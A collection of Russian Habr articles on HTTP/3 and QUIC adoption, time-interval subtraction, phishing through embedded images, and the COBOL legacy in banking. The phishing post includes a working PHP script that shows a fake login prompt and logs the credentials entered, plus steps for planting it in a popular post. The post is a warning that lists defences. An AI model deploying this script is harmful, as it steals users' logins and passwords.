4. Эффективность отсутствия блокировки HoL в QUIC во многом зависит от мультиплексирования и приоритизации потоков. Оптимальные подходы к восстановлению в случае потери пакетов мешают другим полезным механизмам и наоборот, хотя тут нужно больше исследований.
5. QUIC может отправлять пакеты медленнее, чем TCP + TLS, потому что UDP API пока не так развиты, а QUIC шифрует каждый пакет по отдельности, хотя со временем ситуация может улучшиться.
6. HTTP/3 сам по себе не содержит заметных новых функций, только переработанные и упрощённые варианты известных функций HTTP/2.
7. Некоторые самые интересные функции QUIC, связанные с производительностью (multipath, ненадёжные данные, WebTransport, forward error correction и т. д.) не входят в стандарт QUIC и HTTP/3, а предлагаются как расширения и пока не доступны.
Это значит, что **QUIC, скорее всего, особо не улучшит производительность для пользователей в быстрых сетях, но может принести пользу для медленных и нестабильных соединений**.
Наконец, [в третьей части](https://www.smashingmagazine.com/2021/09/http3-practical-deployment-options-part3/#changes-to-pages-and-resources) мы узнали, **как на практике использовать и развёртывать QUIC и HTTP/3**.
1. Мы увидели, что лучшие методы и уроки, извлечённые из использования HTTP/2, можно просто перенести на HTTP/3. Не нужно менять стратегию объединения в пакеты или встраивания, консолидировать или разделять серверную ферму. Server push пока лучше не использовать, а preload — прекрасный способ выстрелить себе в ногу.
2. Придётся подождать, пока готовые пакеты веб-серверов начнут полностью поддерживать HTTP/3 (отчасти из-за проблем с поддержкой библиотеки TLS), хотя уже сейчас доступны опенсорс-версии, и у нескольких крупных CDN есть вполне зрелые предложения.
3. Почти все основные браузеры предлагают базовую поддержку HTTP/3, причём даже по умолчанию. Они очень по-разному используют HTTP/3 и его новые функции и разобраться в этом сложно.
4. Популярные инструменты, вроде Lighthouse и WebPageTest, толком не поддерживают HTTP/3, поэтому почти невозможно адекватно сравнить производительность HTTP/3 и HTTP/2 или HTTP/1.1.
В заключение: **HTTP/3 и QUIC пока *не вполне* готовы для полноценного использования, но вскоре ситуация исправится**.
#### Рекомендации
Если почитать итоги, может показаться, что я всех отговариваю от QUIC и HTTP/3. А я, наоборот, всеми руками за.
В конце [второй части](https://habr.com/ru/company/southbridge/blog/583434/) я уже говорил, что хотя для среднего пользователя *чуда не случится* (всё зависит от вашего целевого рынка), **для многих улучшения производительности будут *очень* заметны**. 0-RTT позволяет сэкономить всего один круг, но для некоторых пользователей это сотни миллисекунд. Миграция соединения не поддержит быструю загрузку, но придётся очень кстати, если вы пытаетесь скачать PDF в скоростном поезде. В проводных сетях пакеты могут теряться пачками, а беспроводные смогут использовать преимущества удаление блокировки HoL в QUIC. Более того, у этих пользователей *самая низкая* производительность при использовании вашего продукта, и как раз для них ситуация станет намного лучше. Если не знаете, почему это так важно, прочтите [знаменитую историю](https://blog.chriszacharias.com/page-weight-matters) Криса Закариаса (Chris Zacharias).
Во-вторых, **QUIC и HTTP/3 со временем будут становиться только лучше**. В первой версии реализованы основы протокола, всё самое интересное нас ждёт впереди. Поэтому советую уже сейчас заняться эти вопросом, и когда новые функции появятся, вы уже сможете эффективно использовать их. Это сложный протокол со сложным развёртыванием, так что на его изучение уйдёт время. Если сейчас вы пока не хотите с этим разбираться, некоторые крупные провайдеры CDN уже предлагают готовую поддержку HTTP/3 (особенно Cloudflare и Fastly). Не вижу никаких препятствий попробовать новый протокол, если вы уже используете CDN (а если вас волнует производительность, вы его, конечно, используете).
Не могу сказать, что нужно *как можно скорее* переходить на QUIC и HTTP/3, **но они уже дают много преимуществ, и дальше их будет только больше**.
#### Дополнительные ресурсы
Знаю, вам и так пришлось много прочитать, и это только верхушка айсберга.
Ниже вы найдете дополнительные ресурсы, от более простых к более техническим:
* [HTTP/3 Explained](https://http3-explained.haxx.se/en/), Daniel Stenberg
Электронная книга от создателя cURL с общим описанием протокола.
* [HTTP/2 in Action](https://www.manning.com/books/http2-in-action), Barry Pollard
Потрясающая книга с полным описанием HTTP/2, из которой можно почерпнуть полезные советы и для HTTP/3. Плюс глава о новом протоколе.
* [@programmingart](https://twitter.com/programmingart), Twitter
Я пишу твиты о QUIC, HTTP/3 и веб-производительности, в том числе делюсь новостями на эту тему. Вот, например, твит о [последних трендах](https://twitter.com/search?q=@programmingart%20#RFC9000&src=typed_query&f=live) для функций QUIC.
* [YouTube](https://www.youtube.com/results?search_query=robin+marx+quic), Robin Marx
10 подробных выступлений о разных аспектах протокола.
* [The Cloudflare Blog](https://blog.cloudflare.com/tag/quic/)Это главный продукт компании, которая делает ещё и CDN.
* [The Fastly Blog](https://www.fastly.com/blog/standardization)В этом блоге обсуждаются технические аспекты, вписанные в широкий контекст.
* [QUIC](https://quicwg.org/), RFC
Ссылки на документы по IETF QUIC и HTTP/3 RFC и другие официальные расширения.
* [IIJ Engineers Blog](https://eng-blog.iij.ad.jp/quic)Подробные технические разъяснения функций QUIC.
* [HTTP/3](https://h3.edm.uhasselt.be/) и [QUIC](https://qlog.edm.uhasselt.be/) исследования, Robin Marx
В своих исследованиях я рассматриваю приоритизацию и мультиплексирование потоков, инструменты и различия в реализациях.
* [QUIPS](https://www.ndss-symposium.org/ndss2020/cfp-quips-workshop/), [EPIQ 2018](https://conferences2.sigcomm.org/co-next/2018/#https://conferences2.sigcomm.org/co-next/2018/) и [EPIQ 2020](https://conferences.sigcomm.org/sigcomm/2020/workshop-epiq.html)Подробные исследования на тему безопасности, производительности и расширений новых протоколов.
Надеемся, эта серия помогла вам гораздо лучше понять новые протоколы. Автор всегда [открыт для обратной связи](https://twitter.com/programmingart) и ждёт ваших мнений о серии статей! | https://habr.com/ru/post/588230/ | null | ru | null |
# Как вычитать серии временных промежутков и попробовать алгоритм Бентли-Оттманна
Всем привет!
Недавно мне пришлось решать такую задачу: есть расписание работы трудовых ресурсов. Например, расписание врача. Оно формируется с помощью правил и исключений. Нужно из правил вычесть исключения, но они периодичные и не сразу ясно в какой момент произойдет пересечение. А чтобы все это работало быстро пришлось позвать на помощь алгоритмы.
Например: врач Иванова О.И. работает с 8:00 до 14:00 каждый день кроме выходных. Но один раз 5.06.20 ей надо отлучиться по семейным обстоятельствам с 8:00 до 10:00. Потом это время она отработает на следующей неделе с 15:00 до 17:00. Тогда правила будут выглядеть так:
Правила:
| | | | |
| --- | --- | --- | --- |
| 1.06.20 8:00 | 1.06.20 14:00 | Периодичный | 1 день |
| 9.06.20 15:00 | 9.06.20 17:00 | Не периодичный | |
Исключения:
| | | | |
| --- | --- | --- | --- |
| 6.06.20 00:00 | 8.06.20 00:00 | Периодичный | 1 неделя |
| 5.06.20 8:00 | 5.06.20 10:00 | Не периодичный | |
Графически это превращается вот в такую схему:
Получается, что чтобы получить результирующее расписание нужно из верхних временных периодов вычесть нижние.
И тут возможно в 4-х варианта. Смотри картинку ниже:
Ищем решение
------------
Первый вариант решения, который приходит в голову: каждое правило сравнивать с каждым исключением и принимать решение: нужно его отправлять в результирующее расписание или нет. Но сравнивание каждого с каждым выглядит как алгоритм со сложностью О(n2). Не очень быстро.
Тут мне попался алгоритм [Бентли-Оттманна](https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D0%91%D0%B5%D0%BD%D1%82%D0%BB%D0%B8_%E2%80%94_%D0%9E%D1%82%D1%82%D0%BC%D0%B0%D0%BD%D0%BD%D0%B0). В оригинале он предназначен для поиска пересечения прямых на плоскости. Но у меня более простой случай: отрезки на прямой. Т.е. у нас остается только одно измерение.
Идея оригинального алгоритма Бентли-Оттманна в движущейся сканирующей прямой, которая регистрирует события начала отрезка и окончания отрезка. А потом сравнить вторую координату. Но в моем случае сканирующая прямая идет слева направо и просто регистрирует события начала и конца правил и исключений.
Вот так графически должен выглядеть результат (внизу):
Описание алгоритма
------------------
Далее расскажу как адаптировать алгоритм Бентли-Оттмана для мой задачи.
1. Заводим коллекцию с событиями. Элемент коллекции будет иметь вид
Тогда наше правило
| | | | |
| --- | --- | --- | --- |
| 1.06.20 8:00 | 1.06.20 14:00 | Периодичный | 1 день |
попадает в коллекцию в таком виде:
```
<1.06.20 8:00, True, True>
<1.06.20 14:00,True, False>
<2.06.20 8:00, True, True>
<2.06.20 14:00, True, False>
<3.06.20 8:00, True, True>
<3.06.20 14:00, True, False>
...
```
А исключение
| | | | |
| --- | --- | --- | --- |
| 6.06.20 00:00 | 8.06.20 00:00 | Периодичный | 1 неделя |
В таком:
```
<6.06.20 00:00, False, True>
<8.06.20 00:00, False, False>
<13.06.20 00:00, False, True>
<15.06.20 00:00, False, False>
...
```
2. Сортируем нашу коллекцию по первому аргументу DateTime.
Это самая затратная часть алгоритма. Потому что лучшая сложность сортировки O(n log(n))
В результате получаем коллекцию из отсортированных по времени событий: и правил, и исключений. В ней содержится информация: когда событие произошло, правило это или исключение и открывается период или закрывается.
3. Далее циклом foreach идем по отсортированной коллекции. По каждому элементу коллекции будем принимать ряд решений для формирования результата.
На картинке ниже блок-схема принятия решения.
Комментарии к блок-схеме:
*isRuleInAction* — флаг который выставляется в True когда начинается правило. Когда правило заканчивается — то ставится False.
*isExclusionInAction* — флаг, который выставляется в True когда начинается исключение. Когда исключение заканчивается, то ставится False
*resultCandidate* — переменная для хранения кандидата в результирующую коллекцию
4. В результате работы алгоритма получаем коллекцию из отсортированных временных периодов.
Заключение
----------
В более абстрактном варианте такой алгоритм можно применять для пересечения не только временных отрезком, но и обычных отрезков на численной прямой. | https://habr.com/ru/post/506190/ | null | ru | null |
# Злые фишинг картинки
##### Правильно люди говорят: «Все новое — это хорошо забытое старое»
Возможность встраивания удалённых ресурсов (например картинок с других сайтов) на страницу своего сайта — очень плохая практика. Которая может в определённый момент привести к довольно серьёзным последствиям для сайта. Еще 10 лет назад, я с удивлением читал о том, что такое возможно. И вот прошло 10 лет, ничего не изменилось, и похоже на то, что это вряд ли когда то изменится.
Детали под катом
#### Теория и практика
1. ~~Хакер~~ злой пользователь регистрирует себе домен похожий по написанию на атакуемый домен.
2. Загружает на него скрипт c таким содержимым на PHP
```
php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
$vulnsite = parse_url($_SERVER['REFERER']);
//header('Content-Type: text/html; charset=windows-1251');
//header('WWW-Authenticate: Basic realm="'.ucfirst($vulnsite['host']).' DDoS-Filter: Enter your Login and Password"');
//header('HTTP/1.0 401 Unauthorized');
} else {
$f = fopen('passes.txt', 'a');
fwrite($f, $_SERVER['PHP_AUTH_USER'].';'.$_SERVER['PHP_AUTH_PW']."\r\n");
fclose($f);
}
header("Content-type: image/jpeg");
$image = imagecreatefromjpeg('image.jpg');
imagejpeg($image);
imagedestroy($image);
exit();
//Соответственно в этой же папке лежит нормальная image.jpg
//Тут же можно поиграться с расширением скрипта и обозвать его superphoto.jpg .
?
```
3. Пишет статью, и встраивает картинку в пост:
``
4. Если присутствует модерация на сайте, то отправляет статью на модерацию.
5. К примеру статья получилась у него хорошая и она попадает на главную.
6. Злой человек видит своё детище на главной и убирает комментарии в PHP коде, таким образом в ответ на запрос картинки из поста, у любого пользователя в браузере появляется окно с авторизацией, где может быть написано все что угодно, к примеру что сайт отбивается от ДДос атаки, и просит повторить ввод логина и пароля.
7. Не внимательный пользователь, не вчитывается в название домена в форме авторизации и субмитит логин и пароль.
8. Злой человек получает ваш логин и пароль, его цель достигнута.
#### Способы защиты
Думаю вменяемых методов может быть два:
* **На уровне браузеров:** запрет на выдачу окна авторизации от другого сайта
* **На уровне разработчиков сайтов:** Копирование всех удалённых ресурсов к себе на хостинг
**P.S.**
Habrahabr.ru тут не исключение у него на главной присутствуют посты, с картинками с других ресурсов. Так что просто стоит держать в уме этот трюк и всегда проверять до буквы имя домена требующего авторизацию.
А так же всегда есть потенциальная опасность того что пока картинка находится на главной, сайт с которого тянется эта картинка, может быть взломан только ради того чтобы заменить картинку на скрипт.
**P.P.S.**
Я не считаю это багом.
Это не более чем трюк, который официально позволяется протоколом HTTP. | https://habr.com/ru/post/140054/ | null | ru | null |
# COBOL — древний код, который управляет вашими деньгами
Язык программирования COBOL старше Игоря Николаева. Люди, умеющие им пользоваться, часто того же возраста. Он лежит в основе целой финансовой системы и его нельзя оттуда убрать. Мы расскажем о том, как компьютерный язык управляет финансовой жизнью мира.
Когда Томас начинал программировать, на дворе стоял 1969 год. Он был обычным парнем, только что выпустившимся из старшей школы в Торонто, не имея особых целей в жизни. Его отец был плотником, но в двери его семьи постучалась удача: оказалось, что руки у Томаса растут не из того места. «Мой отец знал, что я даже не смогу приколотить одну доску к другой», — смеётся он.
Поэтому его мать предложила нечто странное и новомодное: как насчёт… программирования компьютеров?
В 1969 году компьютеры всё ещё были странными новыми диковинками размером с большой шкаф. Но по всему миру компании начали понимать, что эти устройства бесценны для всех задач, требующих мгновенных бухгалтерских расчётов, например, подсчёта зарплат. Вакансии предлагались любому, кто *хотя бы немного* умел кодить. Поэтому Томас нашёл «небольшую школу-однодневку» в деловом центре Торонто и за следующие два месяца изучил самый популярный на то время компьютерный язык: COBOL (Common Business-Oriented Language).
После выпуска его приняли на работу в отдел сортировки чеков крупного канадского банка. (Он не захотел говорить его названия, банки скрытны; кстати, если вы еще не догадались, «Томас» — это псевдоним.) Тогда Томас ещё не был программистом банка, но за следующие несколько лет он чётко дал понять, что хочет им стать. Его работодатель оплатил несколько качественных курсов колледжа по кодингу и в 1978 году он начал долгую карьеру в качестве банковского программиста.
Томас полюбил работу. Она была похожа на постоянное решение головоломок, на игру в шахматы вслепую. Он садился за свой стол, писал от руки код, затем отдавал ему «оператору перфокарт», проделывавшему отверстия в картах, обозначающие программные инструкции. Дважды в день они вводили эти перфокарты в огромные «мейнфреймы» банка. Томасу требовалось несколько часов, чтобы убедиться в правильности работы кода или в том, что он совершил оплошность, из-за которой вся работа встала. Если случалось так, то он просматривал сообщения об ошибках, переписывал код на COBOL и пробовал снова.
За следующие несколько лет Томас хорошо освоил COBOL и написал тысячи бесценных строк кода. Когда банк производил платежи, именно код Томаса ежедневно помогал ему всё правильно подсчитать. Шли 70-е, 80-е и 90-е, Томас с коллегами-кодерами написали десятки миллионов строк на COBOL. Есть одна система, которой он особо гордится, это мгновенно работающая программа, способная обработать «от трёх до пяти миллионов транзакций в день. Это моё дитя!» Первые куски этой программы он написал в 1988 году.
И дело в том, что его код по-прежнему работает даже сегодня.
Томас уволился из банка в 2007 году в возрасте примерно 60 лет, и когда он ушёл, банк всё ещё использовал его систему, которой к тому времени исполнилось 20 лет. Она написана ещё тогда, когда на голове у Томаса было намного больше волос, а хитом чартов была «Groovy Kind of Love» Фила Коллинза. Сегодня этому коду уже больше трёх *десятков* лет. И он по-прежнему обрабатывает миллионы записей в день. Томас считает, что бОльшая часть кода, который он и его коллеги написали в своё время, всё ещё работает, потому что банк не сможет без него функционировать.
Когда в доме в небольшом городке рядом с Торонто, куда перебрался на покой Томас, сегодня звонит телефон, это иногда бывает кто-нибудь из банка.
*«Здравствуйте»*, — говорят ему. *«Эээ… можете нам помочь… обновить ваш код? Возможно, добавить в него новые функции?»* Потому что, как оказалось, банк больше не нанимает никого, кто понимает COBOL так же хорошо, как Томас, того, кто может погрузиться в код и изменить его так, чтобы он выполнял новую задачу. Почти все ветераны COBOL, жокеи перфокарт, создававшие критически важные банковские системы в прошлом, знающие COBOL вдоль и поперёк — все они уволились. Они «покинули здание», как и Томас. И немногих молодых кодеров интересует изучение пыльного пятидесятилетнего компьютерного языка. Их гораздо больше вдохновляют волнующие новые области, например, развивающееся сообщество разработчиков искусственного интеллекта в Торонто. Они изучают свежие и новые языки программирования.
Поэтому этот крупный банк по-прежнему зависит от людей вроде 73-летнего Томаса, который не только обеспечивает работу кода, но и может добавлять новые возможности и улучшения.
Переживёт ли Томаса его код на COBOL?
«Вероятно».
Этот банк не одинок. Программы на COBOL, некоторые из которых были написаны ещё до появления цветных телевизоров, используются в нашей повседневной жизни повсюду.
Представьте: в более чем 80% личных транзакций финансовых организаций США используется COBOL. Когда вы проводите своей пластиковой картой, то в 95% случаев обработку выполняет COBOL. Bank of New York Mellon выяснил в 2012, что у него есть примерно 112 500 отдельных программ на COBOL, состоящих почти из 350 миллионов строк; вероятно, это типично для большинства крупных финансовых организаций. Когда ваш босс вручает вам зарплатный чек, есть вероятность, что он подсчитан при помощи COBOL. Если вы занимаетесь инвестициями, то ваша торговля акциями тоже выполняется на нём. То же самое происходит и в здравоохранении: страховые компании США используют «adjudication engines» — программное обеспечение, определяющее, сколько заплатят врачу или фармацевтической компании; они так же написаны на COBOL. Задумывались, почему при совершении покупок в розничном магазине продавец вводит данные в старомодный терминал с зелёным текстом на чёрном фоне? Потому что в системе инвентаризации используется COBOL. Или почему специалисты по бронированию авиабилетов пользуются тем же чёрным экраном с зелёными буквами, чтобы изменить данные рейса? «О, это COBOL, это *совершенно точно* COBOL», — смеётся ведущий инженер Faircom Крейг Бейли. Его фирма создаёт ПО, помогающее компаниям управлять этими старыми системами.
Никто точно не знает, сколько существует кода на COBOL, но, по оценкам, наиболее важные аспекты нашей повседневной жизни втихомолку обслуживает примерно 240 миллиардов строк кода. «Вторым по ценности ресурсом в США после нефти являются 240 миллиардов строк COBOL», — говорит Филип Теплицки, десятки лет писавший на COBOL для банков по всем США.
Нам часто говорят, что технологии процветают благодаря новым, передовым инновациям, желанию рисковать и создавать с помощью кода нечто новое, «двигаться быстро и сокрушать препятствия», как написал молодой Марк Цукерберг на своей стене в Facebook. И каждый день мы действительно видим, как появляется безумный новый код, написанный на модных и новых языках. Возможно, вы видели новый ИИ, способный писать предложения как человек — он создан благодаря Python, хорошо известному новому компьютерному языку. Когда Facebook добавляет новые функции в своё браузерное приложение, то кодеры часто используют JavaScript — ещё один популярный язык.
Но как насчёт более старых и массивных отраслей, являющихся центральными для экономики? В них по-прежнему вездесущ COBOL. Из-за этого инновации усложняются. Как создавать и прикручивать новые возможности с помощью древнего языка, который неинтересен энергичным молодым кодерам? Если крупные старые банки — это не компании, двигающие прогресс вперёд с помощью сервисов наподобие Venmo или Square, или других громких финтех-продуктов, то из этого следует, что COBOL является частью проблемы. Но если это так, то почему же Томаса по-прежнему тревожат на его заслуженной пенсии, чтобы он поддерживал жизнь в этих системах? Почему нельзя обойтись без них?
Частично это вызвано тем, что COBOL был первым, и он оказался инструментом, идеально подходящим для своей задачи. Во многих смыслах COBOL был той искрой, из которой возгорелась вся наша современная компьютерная эпоха.
Программисты начали разработку COBOL в 1959 году. Когда его наконец выпустили десять лет спустя, в 1969 году, он стал первым компьютерным языком, благодаря которому компьютеры можно стало активно использовать в повседневной жизни. В конце 50-х у компьютеров только завершилась «экспериментальная» стадия. Обычные компании начали взвешивать возможную ценность приобретения собственного компьютера для перемалывания чисел. Однако проблема заключалась в том, что до появления COBOL кодинг был непонятным и сложным в изучении. Программисты часто писали ПО на какой-нибудь разновидности «ассемблерных» языков, команды которых были ужасно мудрёными. (Например, команда `LXA A,K` означает «взять число, загруженное в ячейку A компьютерной памяти и загрузить его в индексный регистр K».) Усугубляло ситуацию то, что производители компьютеров часто создавали для своих машин собственные уникальные языки. Если написать отличный код для машины, то он не сможет работать на компьютере, изготовленном другой компанией.
Новое поколение амбициозных программистов считало это безумием. Одним из них была контр-адмирал ВМФ США Грейс Хоппер, обладавшая яркой индивидуальностью. (Именно она популяризировала выражение «проще попросить прощения, чем получать разрешение».) Хоппер считала, что языки программирования должны сильнее походить на английский, чтобы их было проще учить и читать. В 1955 году она разработала язык «FLOW-MATIC», предназначенный именно для этой задачи; например, для перемещения числа из ячейки A в ячейку D на нём нужно было просто написать `TRANSFER A TO D`.
В 1959 году программистка Мэри Хоуэс решила, что её отрасли нужен язык, на котором писать будет так же просто, как на FLOW-MATIC, способный при этом работать на любой машине. Она собрала комитет специалистов, в том числе из только зарождающейся отрасли бизнес-компьютеров, чтобы приступить к созданию языка под руководством министерства обороны. Задача заключалась в написании языка, который бы мог читать и понимать обычный менеджер компании, даже если он не учился на программиста.
Спустя десятилетие работы, активно продвигаемой множеством женщин-суперзвёзд этой отрасли, например, пионеркой компьютерных наук Джин Саммет, был создан язык, во многом напоминавший FLOW-MATIC и простой в понимании. Например, для сложения двух чисел можно было написать `ADD Num1, Num2 GIVING Result`. Чтобы выполнить вычисление три раза, нужно было написать `PERFORM 3 TIMES`.
«Сложно переоценить важность COBOL», — говорит адъюнкт-профессор истории Мар Хикс из Иллинойсского технологического института и автор книги «Programmed Inequality». «Он совершил в компьютерных вычислениях совершенно необходимый шаг. Язык заполнил ту нишу, которая оставалась пустой на протяжении первых лет компьютеров. И он изменил образ мышления, необходимый для написания программ».
Изменил он и круг тех, *кто* мог на нём писать. COBOL демократизировал кодинг; теперь компании могли нанимать обычных людей и обучать их, за несколько месяцев превращая в полезных программистов на COBOL, а через пару лет — в специалистов. Это было критически важно, учитывая, что компаниям отчаянно требовалось больше гребцов, чтобы писать ПО.
«Можно было брать людей с улицы», — рассказывает британский кодер Джон Пайк, изучавший COBOL в 1960-х. «И, по сути, учить их, как писать программы».
Ещё один плюс COBOL заключался в его *скорости*. Он проектировался специально для очень быстрого выполнения огромного количества «транзакций». Если вы работаете в розничной сети, то каждый вечер вам надо подсчитывать продажи и пересчитывать остатки. А у вас на это не так много времени — может быть, пара часов вечером, после завершения рабочего дня, пока ваш компьютерный персонал работает допоздна.
С банками та же ситуация: в течение рабочего дня они суматошно принимают транзакции, запросы на вывод и поступление денег клиентов на их счета. По вечерам у них есть несколько часов на подсчёт баланса всей этой бухгалтерии. Возможно, вы задавались когда-нибудь вопросом, почему клиринг размещённого вами чека занимает какое-то время. Частично это вызвано тем, что обоим банкам нужно провести все эти огромные вычислительные задачи на COBOL после ухода дневного персонала. В Citibank код Теплицки выполнялся в огромном центре из 248 компьютеров-мейнфреймов.
«У тебя есть временной промежуток в шесть-восемь часов, чтобы проделать кучу работы — провести все транзакции в определённом порядке», — рассказывает он мне. «Для выполнения миллиарда транзакций за шестичасовое окно требуется мощнейшее оборудование».
COBOL был оптимизирован для выполнения именно этой задачи: обработки целого множества транзакций. Компьютерные языки часто имеют определённую когнитивную или творческую специализацию; каждый из них создавался под конкретный тип задач. Python превосходно работает с data science и искусственным интеллектом; Fortran был создан для преобразования математических формул в код; JavaScript создавался, чтобы программисты могли делать веб-сайты интерактивными.
А что же COBOL? Он подстраивался под работу на этих мейнфреймах, которые сами проектировались специально для перемалывания миллиардов транзакций, мгновенного считывания и записи потоков данных. Он походит на высокооктановое топливо, изобретённое специально для спортивных автомобилей. На протяжении лет компиляторы COBOL — программы, превращавшие напоминающий английский язык синтаксис компьютерного кода в единицы и нули, которые может выполнять чип компьютера — всё больше совершенствовались, поэтому скомпилированный код COBOL стал чрезвычайно быстрым. То есть причина того, что COBOL находится в основе столь многих критически важных систем, заключается ещё и в том, что он на самом деле достаточно хорош в выполнении своей работы.
«У разработчиков было пятьдесят лет, чтобы сделать всё правильно», — замечает Билл Хиншоу, управляющий агентством COBOL Cowboys, предоставляющим услуги программистов на COBOL.
Как ни странно, сам возраст систем COBOL идёт ему на пользу. Поскольку его экосистема стара, её тщательно избавляли от ошибок и багов. Когда программа пишется впервые, она неизбежно имеет проблемы. Иногда это опечатка или команда не на своём месте; в другом случае пользователь делает нечто неожиданное для программиста, из-за чего всё разваливается. Когда появляется новое приложение, в нём много багов и оно подвержено вылетам: его создатели отправили его в мир со всеми этими несовершенствами. На обнаружение всех проблем уходят дни, недели или годы.
Кодеры и пользователи программ COBOL, которые управляют миром, имели десятки лет на выявление и устранение проблем.
Адриана Стерн (на этот раз это не псевдоним!), ещё одна программистка, с которой я общался, работала на крупные канадские банки. Её карьера началась в 80-х, когда из систем всё ещё устраняли различные странные баги. Однажды она выяснила, что один банковский терминал в Квебеке передаёт в систему буквы со знаками ударения, чего не предусмотрел программист системы.
«Поэтому когда система пыталась интерпретировать их, она зависала», — рассказывает Адриана. В другой раз постоянно вылетала ещё одна программа на COBOL. В конечном итоге Стерн разобралась: причина заключалась в имени нового клиента, содержащем одну кавычку, которую программа интерпретировала как инструкцию «конец массива данных», что приводило к остановке выполнения кода.
Стерн работала на банки тридцать лет, и по её оценкам, 85% работы заключалось не в создании новых функций для банка, а в «обслуживании». Её труд напоминал работу цифрового сантехника, устраняющего протечки и постепенно повышающего стабильность выполнения программ.
«Это была сложная работа, мы как будто поджигали свечу с обоих концов», — рассказывает она мне.
Именно поэтому такие системы COBOL настолько надёжны сегодня. Их отлаживали больше, чем практически любой другой код на планете. Громкое новое приложение наподобие TikTok может появиться и получить огромную популярность даже с кучей багов. Если количество «лайков» под твоим последним постом считается немного неправильно, то это *не вызывает особых проблем*. А если вдруг крупная розничная сеть ошибётся в инвертаризации или банк внезапно не сможет отправить деньги? Это вызовет масштабный финансовый хаос.
«Весь ВВП мира находится в движении по банковской сети», — говорит Теплицки. «Банк ежедневно дважды оборачивает свои активы. А для клирингового банка, допустим, в Нью-Йорке, это число может быть ещё больше… То есть в движении по сети находятся огромные суммы денег, и их обслуживают крупные бэкенд-системы. Они не имеют права на сбой! Если они обрушатся, произойдёт катастрофа мирового масштаба. *Мирового масштаба*».
COBOL не просто быстр; он, как сказал мне Томас, «стабилен, стабилен, стабилен». Один из разработанных им процессов получает каждый месяц файл с примерно 2,4 миллионов государственных пенсий и переводит соответствующие суммы на банковские счета людей. «Мы подтверждаем и проверяем их за 11 минут. За двадцать лет процесс ни разу не дал сбой».
Эта идея о том, что старый код может быть не только хорошим, но в критических аспектах и превосходить новый, противоречит мифологемам Кремниевой долины. Финансируемые венчурным капиталом стартапы зачастую расхваливают блестящие новые технологии. Основатели обычно не хвастаются всем, насколько стара их кодовая база. Всё наоборот: они хвалятся, насколько прогрессивен их код, написанный благодаря ночному труду сонных двадцатиоднолетних гениев. Но почти любой программист скажет вам, что чем недавней написано ПО, тем больше вероятность, что оно представляет собой сборище багов.
Хороший пример этого можно наблюдать во время пандемии. В первые дни Covid-19 бизнесы массово закрывались. Уволенные сотрудники рванулись онлайн, чтобы подать заявление на получение пособий по безработице, и веб-сайты многих правительств штатов не выдержали нагрузки. Губернатор Нью-Джерси сообщил прессе, что их системы COBOL отчаянно нуждаются в помощи, чтобы справиться с новыми потребностями. «У нас в буквальном смысле есть системы, которым от сорока и более лет», — заявил он.
Но технологи, работавшие за кулисами над устранением неполадок, знали, проблема заключалась не в перемалывающем числа COBOL. Эти старые системы работали хорошо. Нет, всегда ломались более новые элементы — программы, управлявшие самим веб-сайтом.
«С ума сходило веб-приложение между мейнфреймом и внешним миром. Именно оно падало», — рассказывает программистка и писательница Марианна Беллотти, годами работавшая с государственными системами и следившая за этой системой Нью-Джерси. Но, по словам историка Хикса, властям было слишком неудобно признать «ой, да, это сломались наши *веб-системы*».
Беллотти наблюдала подобные явления и в других государственных органах, например в Налоговом управлении США (IRS). Однажды её вызвали для помощи с неработающим веб-приложением IRS. После расследования выяснилось, что проблема и в самом деле была в новых программах, «в куске плохо написанного кода на Java». Мейнфрейм с запущенным COBOL, напротив, гнал вперёд подобно Ferrari.
«Мейнфреймы отвечали всего за несколько миллисекунд», — говорит она.
Однако «стабильность» и старость кода способны создать парадокс — проклятие успеха. Поскольку код хорошо работает без проверок, люди со временем будут от него уходить. Они перестают смотреть на него, перестают его изучать. И это означает, что они перестают понимать, как же именно он работает.
Они определённо знают, что он *работает*. Ведь он функционирует каждый день, за мгновение обрабатывая миллионы транзакций! Но никто точно не знает, как и почему. COBOL превратился в непостижимую загадку, в демона, покорно исполняющего свои задачи, но таким способом, который никто не понимает полностью.
Это может стать серьёзной проблемой, когда спустя долгие годы вам нужно будет изменить что-то или добавить новую функцию.
Дейв Гуарино стал непосредственным свидетелем этого. Он разработчик ПО, много лет проработавший в Code For America — некоммерческой организации, позволяющей талантливым кодерам помогать правительствам с обновлением их древних служб. Несколько лет назад он помогал писать новое веб-приложение, чтобы калифорнийцы могли более удобно подавать заявления на продуктовые талоны. Веб-приложение находилось поверх более старых систем Калифорнии; пользователи должны были взаимодействовать с приложением, которое передавало бы их запросы коду на мейнфреймах штата Калифорния, написанному десятки лет назад.
И вот здесь возникла проблема. Команда Дейва хотела реализовать способ бронирования времени для встречи получателей продуктовых талонов с чиновником. В старых системах Калифорнии уже был раздел, способный получать подобный запрос. Но в поле «Когда вам удобно прийти на встречу?» старая система позволяла ввести только 40 символов и запрещала использование тире, поэтому нельзя было использовать сокращения, например, «пн-ср», чтобы сообщить, что пользователь свободен с понедельника по среду.
*«Ну и мучение»*, — подумал Гуарино. Он встретился с человеком, управлявшим этой старой системой ПО. «К сожалению, да, таковы реальные ограничения», — ответил ему человек. И это была проблема COBOL, он был написан несколько десятков лет назад. «Что же мы можем сделать? Можно сделать поле побольше, или ещё что-нибудь?», — спросил Гуарино. «И он сразу же такой — *нет, здесь ничего не поделаешь!*» К этому коду на COBOL никто и никогда не собирался прикасаться. У штата даже не было столько денег, чтобы оплатить время, необходимое для изучения этой кодовой базы.
Кроме того, их, скорее всего, пугало то, что если они попытаются изменить что-то критически важное, то сломают код. И это ещё один парадокс успеха COBOL. Из-за его скорости и стабильности правительства и банки за годы и десятилетия привыкли полагаться на эти старые системы. Поэтому даже если вы *захотите* их изменить, пробовать будет слишком опасно. В том банке, где работала Стерн, можно было поседеть от стресса работы с действительно древним, критически важным кодом.
«Исправление ошибок было связано с высоким уровнем риска, потому что можно было поломать что-то уже работающее», — рассказывает она мне. Поэтому чаще всего вместо обширного переписывания старого кода они просто добавляли небольшие новые кусочки кода, патча системы «по краям». «Разработчики всё время добавляли небольшие фрагменты, и со временем система начала походить на маленького Франкенштейна», — смеётся Адриана. Что, разумеется, только делало систему потенциально более непознаваемой и запутанной для будущих поколений.
Однако чрезвычайно редко так случалось, некоторые проектировочные решения, принятые десятки лет назад, оказывались ужасными, и банкам с компаниями приходилось внезапно, в панике, погружаться в дебри систем и обновлять внутренности действительно старого COBOL. Именно это произошло с печально известным багом Y2K.
